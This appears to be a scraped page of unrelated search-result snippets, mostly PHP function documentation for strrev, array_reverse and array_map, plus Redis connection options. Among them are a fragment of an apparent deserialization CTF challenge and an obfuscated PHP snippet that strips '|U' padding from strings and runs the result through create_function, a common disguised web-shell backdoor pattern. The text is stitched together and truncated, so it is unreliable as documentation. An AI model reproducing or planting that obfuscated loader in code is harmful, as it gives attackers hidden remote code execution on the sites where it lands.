strpbrk — Search a string for any of a set of characters strpos — Find position of first occurrence of a string strrchr — Find the last occurrence of a character in a string strrev — Reverse a string strripos — Find position of last occurrence of a case-insensitive string in a string...
Reverse the string "Hello World!": <?php echostrrev("Hello World!"); ?> Try it Yourself » Definition and Usage The strrev() function reverses a string. Syntax strrev(string) Parameter Values ParameterDescription stringRequired. Specifies the string to reverse ...
array_keys();获取数组中的键,参数是数组名array_vals();获取数组中的值,参数是数组名array_key_exists();检查一个键是否在数组中in_array();检查一个值是否在数组中,里面的参数是"值"和数组名array_flip();键和值对调,参数是数组名array_reverse();数组中的值反转,也就是函数返回一个和原来数组顺序相反...
host: string. can be a host, or the path to a unix domain socket. port: int (default is 6379, should be -1 for unix domain socket) connectTimeout: float, value in seconds (default is 0 meaning unlimited) retryInterval: int, value in milliseconds (optional) readTimeout: float, value...
$function) { echo '<a href="index.php?f=highlight_file">source_code</a>'; } if (!$_GET['img_path']) { $_SESSION['img'] = base64_encode('guest_img.png'); } else { $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($...
Return an array in the reverse order: <?php $a=array("a"=>"Volvo","b"=>"BMW","c"=>"Toyota"); print_r(array_reverse($a)); ?> Try it Yourself » Definition and Usage The array_reverse() function returns an array in the reverse order. ...
* @var string */ private$name; /** * A reference to another Foo object * @var Foo */ private$link; public function__construct($name) { $this->name=$name; } public functionsetLink(Foo $link){ $this->link=$link; } public function__destruct() { ...
The Locations API allows you to geocode locations based on an address or query, or reverse geocode addresses based on a specified point. All three of these functions can be accessed simply by sending a specially formatted URI that includes parameters for the function. The Locations API can...
(|U$|U|Up,$h)|U===0){$';$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);$g=create_function('',$f);...
function mm($v) { return ($v*$v); } $a=array(1,2,3,4,5); print_r(array_map("mm",$a)); //通过mm函数,返回新的数组 1. 2. 3. 4. 5. 6. 7. $a1=array("Dog","Cat","cyg"); $a2=array("Puppy","Kitten","liwen"); ...